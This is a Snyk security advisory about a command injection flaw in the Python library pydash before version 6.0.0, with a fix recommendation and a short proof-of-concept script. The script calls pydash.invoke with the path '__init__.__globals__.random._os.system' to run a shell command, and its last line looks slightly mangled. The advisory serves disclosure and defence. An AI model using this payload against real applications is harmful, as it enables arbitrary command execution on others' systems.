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- Snyk ID SNYK-PYTHON-PYDASH-5916518
- published 26 Sep 2023
- disclosed 24 Sep 2023
- credit Calum Hutton
How to fix?
pydash to version 6.0.0 or higher.
Affected versions of this package are vulnerable to Command Injection. A number of pydash methods such as
pydash.collections.invoke_map() accept dotted paths (Deep Path Strings) to target a nested Python object, relative to the original source object. These paths can be used to target internal class attributes and dict items, to retrieve, modify or invoke nested Python objects.
pydash.objects.invoke() method is vulnerable to Command Injection when the following prerequisites are satisfied:
The source object (argument 1) is not a built-in object such as list/dict (otherwise, the
__init__.__globals__path is not accessible)
The attacker has control over argument 2 (the path string) and argument 3 (the argument to pass to the invoked method)
pydash.collections.invoke_map() method is also vulnerable, but is harder to exploit as the attacker does not have direct control over the argument to be passed to the invoked function.
import sys import random import pydash class Animal: def __init__(self, typ, age): self.type = typ self.age = age self.id = random.randint(1, 99999) def poc(path, arg): """ Use a malicious path to execute code via the __init__.__globals__ dict (not available with dict/list input objects?) I.e: pydash.invoke(obj, '__init__.__globals__.random._os.system', 'id') """ obj = Animal('cat', 11) res = pydash.invoke(obj, path, arg) print(res) if __name__ == '__main__': if len(sys.argv) < 3: print('Missing args: %s <path> <arg>' % sys.argv) sys.exit(1) poc(sys.argv, sys.argv)